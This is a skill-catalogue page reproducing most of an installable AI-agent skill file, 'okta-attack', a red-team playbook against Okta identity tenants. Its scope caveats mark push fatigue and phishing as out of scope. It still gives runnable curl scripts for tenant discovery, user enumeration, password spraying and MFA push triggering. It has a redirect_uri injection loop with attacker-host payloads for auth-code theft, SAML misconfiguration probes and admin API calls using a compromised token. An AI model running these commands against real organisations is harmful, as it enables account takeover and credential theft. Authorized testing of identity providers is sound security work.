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okta-attack

Okta-as-IdP red-team attack chain — tenant discovery, user enumeration (multiple vectors), authentication flow analysis (factors enumeration, push-notification fatigue, SMS bypass), password spray with lockout discipline, Okta-specific phishing primitives (kits, FastPass abuse, OIDC redirect_uri tam…

Install / Use

npx skills add elementalsouls/Claude-BugHunter --skill okta-attack

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

96/100

Supported Platforms

Universal

Our assessment of okta-attack

okta-attack scores 96/100 on our quality scale, 39th of 394 Communication skills we index (top 10%).

Its SKILL.md is 23 KB long, well organised into 70 sections with 14 code examples: a thorough specification that gives an agent plenty to work with.

With 5,198 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
30/30
Structure
20/20
Description
15/15
Adoption
16/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated 26 days ago, so okta-attack is actively maintained.
  • Our last check on 2026-11-15 found the source still online.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

Safety scan

Review

Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): The skill instructs the agent to perform active attacks against Okta tenants, including user enumeration, password spraying, push-notification fatigue (MFA bombing), and admin API exploitation to steal sessions/credentials.

AI review: risky

  • The skill instructs the agent to perform active attacks against Okta tenants, including user enumeration, password spraying, push-notification fatigue (MFA bombing), and admin API exploitation to steal sessions/credentials.
  • It directs the agent to tamper with OIDC redirect_uri values, abuse SAML/OIDC flows, and deploy phishing kits (EvilProxy/Evilginx2) to harvest authentication tokens.
  • It describes post-compromise actions such as replaying stolen session cookies/HAR files, minting arbitrary SAML assertions, and impersonating users across federated apps.

AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-09-28. Automated pattern scan on 2026-09-28. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.

okta-attack compared with similar skills

All 4 of these similar skills score higher than okta-attack; compare them before choosing.

SkillScoreStarsUpdatedFormat
okta-attack (this skill)by elementalsouls965.2k26d agoSKILL.md
Agent-Reachby Panniantong100112.3k8d agoCLAUDE.md
headroomby headroomlabs-ai10079.8ktodayCLAUDE.md
Scraplingby D4Vinci100103.6k2d agoMCP Server
crawl4aiby unclecode10087.4k3d agoMCP Server

Frequently asked questions

How do I install okta-attack?
Run npx skills add elementalsouls/Claude-BugHunter --skill okta-attack. The install tabs above show the steps for each supported agent.
Which AI agents does okta-attack work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is okta-attack safe to use?
Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): The skill instructs the agent to perform active attacks against Okta tenants, including user enumeration, password spraying, push-notification fatigue (MFA bombing), and admin API exploitation to steal sessions/credentials. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is okta-attack still maintained?
The repository was last updated 26 days ago, so okta-attack is actively maintained.

name: okta-attack description: Okta-as-IdP red-team attack chain — tenant discovery, user enumeration (multiple vectors), authentication flow analysis (factors enumeration, push-notification fatigue, SMS bypass), password spray with lockout discipline, Okta-specific phishing primitives (kits, FastPass abuse, OIDC redirect_uri tampering), MFA enumeration, post-compromise admin API surface. Many enterprise orgs use Okta instead of (or alongside) Entra ID. Distinct endpoints, distinct rate-limiting, distinct factor flows. Use when recon shows <tenant>.okta.com, <tenant>.okta-emea.com, <tenant>.oktapreview.com, or autodiscover-style records pointing at Okta IdP. sources: public-okta-docs, idp-redteam-knowledge, disclosed-incidents report_count: 8

When to use this skill

Trigger when:

  • DNS shows <tenant>.okta.com or <tenant>.okta-emea.com (EMEA region)
  • Login flow redirects to <tenant>.okta.com/login or /app/<app_id>/sso/saml
  • Web pages reference /signin/customize, oktapreview.com, or auth-js-sdk
  • Recon notes "uses Okta for SSO"
  • A target has *.okta.com SAN in TLS cert
  • Identity-fabric mapping returns Okta as IdP for a corporate app

DO NOT use for:

  • Entra ID (use m365-entra-attack instead)
  • Google Workspace (use google-workspace-attack — not yet built)
  • ADFS (different protocol, on-prem)

Tenant discovery

Direct guesses

# Tenant subdomains often match the brand
# Replace these with your target's actual tenant slug candidates:
for tenant in target-brand target-brand-ltd target-sister-brand target-brand-short target-other-variant; do
  for region in okta okta-emea oktapreview; do
    host="$tenant.$region.com"
    code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 8 "https://$host/")
    [ "$code" != "404" ] && [ "$code" != "000" ] && echo "  $host  $code"
  done
done

Cross-ref from DNS

# Look for CNAME records pointing to Okta
# Replace with your target's actual domains:
for domain in client.example client-ltd.example; do
  dig +short "sso.$domain" CNAME
  dig +short "login.$domain" CNAME
  dig +short "auth.$domain" CNAME
  dig +short "okta.$domain" CNAME
done

Cross-ref from app HTTP flow

# Visit corporate-app login, follow redirects
curl -skL -o /dev/null -w "%{redirect_url}\n" "https://app.target.com/login"
# If redirects to <something>.okta.com → confirmed Okta tenant

User enumeration

Method 1 — /api/v1/authn differential

The auth API returns different errors for invalid users vs invalid passwords. Slightly differential.

# Probe single user — DON'T spray, this counts as auth attempt!
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
  -H "Content-Type: application/json" \
  -d '{"username":"<email>","password":"_tes…[redacted]"}'

# Response codes:
#   401 + "errorCode":"E0000004" → invalid credentials (user exists OR doesn't — Okta unifies these)
#   401 + "errorCode":"E0000119" → account locked
#   200 → MFA prompt (cred VALID, MFA needed)
#   200 + "status":"SUCCESS" → full auth (rare in modern setups)

⚠ Okta has hardened against direct user-existence enum via /api/v1/authn — error message is typically uniform "Authentication failed". User enumeration via this endpoint is unreliable in 2024+.

Method 2 — /api/v1/users/me/factors timing

Some flows expose user existence via response time differential. Less reliable than M365 OneDrive technique.

Method 3 — Sign-in widget JS endpoint

curl -sk "https://<tenant>.okta.com/api/v1/sessions/me" \
  -H "Accept: application/json"
# Response varies by tenant config

Method 4 — Org-specific identifier probing

Some Okta orgs use email-as-username; others use firstname.lastname or employee-id. Test pattern guesses:

firstname.lastname@target.com
firstname_lastname@target.com  
flastname@target.com
employeeID@target.com

Method 5 — OIDC /v1/authorize with login_hint

# Tampering with login_hint param can reveal user existence on some configs
curl -skI "https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<id>&response_type=code&scope=openid&redirect_uri=https://example.com&login_hint=<email>"
# Different redirect → user exists vs doesn't

Authentication flow analysis (always do this first)

# Initial auth — observe what factors come back
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
  -H "Content-Type: application/json" \
  -d '{"username":"<valid_user>","password":"_tes…[redacted]"}' | python3 -m json.tool

Response structure reveals factor configuration:

{
  "stateToken": "00ABC...",
  "factorResult": "WAITING",
  "status": "MFA_REQUIRED",
  "_embedded": {
    "factors": [
      {"factorType": "push", "provider": "OKTA"},
      {"factorType": "token:software:totp", "provider": "OKTA"},
      {"factorType": "sms", "provider": "OKTA"},
      {"factorType": "call", "provider": "OKTA"},
      {"factorType": "email", "provider": "OKTA"},
      {"factorType": "question", "provider": "OKTA"},
      {"factorType": "webauthn", "provider": "FIDO"}
    ]
  }
}

Critical insight: the factor list reveals which factors are available — phishing-resistance varies dramatically:

  • webauthn (FIDO2) — phishing-resistant
  • question (security questions) — extremely weak; KBA attacks
  • sms / call — phishing-able (push notification fatigue, SIM swap)
  • push — phishing-able via MFA fatigue
  • email — phishing-able if attacker has email read access
  • totp — phishing-able via AiTM

Password spray (with Okta-specific lockout discipline)

Lockout policy

Okta default: 10 failed sign-ins → lockout (configurable per-org). Some orgs configure much stricter (3 fails).

Discipline:

  • ≤2 attempts per user lifetime per engagement (safer than 1 in Entra because Okta lockout is sometimes 3 fails)
  • Track per-user in atomic state file
  • Stop on first valid hit OR if LOCKED rate exceeds threshold

Spray endpoint

# Same /api/v1/authn — see authentication flow above

Status codes to watch for

| Response | Meaning | |---|---| | 200 status=MFA_REQUIRED | Password is VALID — MFA challenge waiting | | 200 status=SUCCESS + sessionToken | Full auth (only if MFA not required for this user) | | 200 status=PASSWORD_EXPIRED | Password is VALID but user must change it | | 200 status=LOCKED_OUT | Account locked (pre-existing or our cause) | | 401 E0000004 | Authentication failed (user doesn't exist OR wrong password — Okta unifies) | | 401 E0000119 | User is locked | | 429 | Rate-limit hit |


Push-notification fatigue (MFA bombing)

If a valid password is obtained and push factor is available, the classic attack: hammer the push factor until the user accepts out of fatigue.

⚠ OUT OF SCOPE in most red-team engagements (counts as social engineering / phishing — e.g. phishing was explicitly OOS for authorized-engagement). Document the vector existence but do not execute without explicit sign-off.

Detection-only check (does target allow it?)

# Initiate factor verification
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn/factors/<factor_id>/verify" \
  -H "Content-Type: application/json" \
  -d '{"stateToken":"<from_authn>"}'

# A real test would loop this — DON'T do that without explicit OK

OIDC redirect_uri tampering

Okta OIDC apps often have a list of allowed redirect_uri values. Misconfigurations:

# Get the app's authorize endpoint
curl -sk "https://<tenant>.okta.com/.well-known/openid-configuration" | python3 -m json.tool

# Test redirect_uri injection
for ruri in \
    "https://attacker.example.com/" \
    "https://target.com.attacker.com/" \
    "https://target.com@attacker.com/" \
    "https://target.com#@attacker.com/" \
    "https://target.com\\@attacker.com/" \
    "//attacker.com/" \
    "https://target.com/cb?next=https://attacker.com/"; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" \
    "https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<client>&response_type=code&scope=openid&redirect_uri=$(python3 -c "import urllib.parse;print(urllib.parse.quote('$ruri'))")")
  echo "  $ruri → $code"
done
# Any 302 with the attacker URL in Location header = open redirect → auth-code theft chain

SAML SP misconfiguration check (per-app)

Each Okta SAML app has its own SP metadata:

# Iterate known app IDs (find via the org's app list — usually in JS bundles or initial login redirects)
curl -sk "https://<tenant>.okta.com/app/<app_id>/sso/saml/metadata"

# Look for:
#   AuthnRequestsSigned="false"  ← see hunt-saml for XSW
#   WantAssertionsSigned="false" ← assertion-replay possible
#   <NameIDFormat>...emailAddress</NameIDFormat>

Okta Admin API (post-cred-compromise)

If a valid cred + MFA-completed token is obtained:

# Get session token
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
  -d '{"username":"...","password":"..."}'
# → if SUCCESS, response has sessionToken

# Exchange for API token (admin only)
# Test admin endpoints (all require valid SSWS token):
curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/users"
curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/groups"
curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/apps"
curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/logs"      # audit log

Okta-specific phishing kits (informational — OOS for non-phishing engagements)

  • EvilProxy — Okta-aware AiTM kit
  • Modlishka — generic AiTM
  • Evilginx2 — has Okta phishlets

Document existence; do not deploy without explicit phishing scope.


FastPass / Okta Verify abuse

Okta FastPass is push-based + device-bound. Bypasses:

  • Device trust spoofing (requires kit + endpoint compromise — internal-only)
  • Push fatigue (see above)
  • Phishing redirect to fake FastPass prompt

Common Okta tenant configuration patterns

| Indicator | Configuration | |---|---| | <tenant>.okta.com/api/v1/iam/orgs returns 401 (not 404) | API IAM endpoints enabled — admin attack surface | | customize/sign-in page reachable anon | Tenant brand customization is public — useful intel | | Multiple *.okta.com SAN certs | Multi-tenant org (less common) | | oktapreview.com subdomain | Preview/sandbox tenant — typically weaker security |


Tooling

  • OktaTerrify (github.com/silverhack/OktaTerrify) — post-compromise Okta device-trust / FastPass enumeration. The only verifiable public Okta-specific offensive tool; no other named, maintained "okta-attacker"/"okta-toolkit" utility is verifiable — build engagement-specific scripts against /api/v1/* instead of citing unverified tool names.

Anti-patterns

  • DO NOT use Entra-style spray pace on Okta — Okta's anti-automation is tuner-different; rate-limit hits faster
  • DO NOT skip factor enumeration — knowing the factor list before attempting spray informs the realistic threat model
  • DO NOT assume MFA-fatigue is in scope — it's social engineering; explicit OK required
  • DO NOT confuse *.oktapreview.com with production — preview is a non-prod tenant, findings have different severity

Bridge to neighboring skills

  • m365-entra-attack — sibling skill for the M365 case; identical mental model
  • hunt-oauth — OIDC redirect_uri tampering, state attack, PKCE bypass
  • hunt-saml — XSW / signature-stripping for per-app SAML SP
  • hunt-mfa-bypass — push fatigue, OTP brute, replay
  • mid-engagement-ir-detection — Okta SOC dashboards are sensitive; expect mitigations during testing

Anti-pattern: Okta user enumeration in 2024+

Several techniques publicly documented through 2022 (e.g., /api/v1/authn differential errors) have been hardened. Don't rely on stale knowledge — confirm enumeration vector freshness on each engagement by:

  1. Testi

Truncated for display — read the full file on GitHub.

Related Skills

View on GitHub
GitHub Stars5.2k
CategoryCommunication
Updated26d ago
Forks796

Languages

Python

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions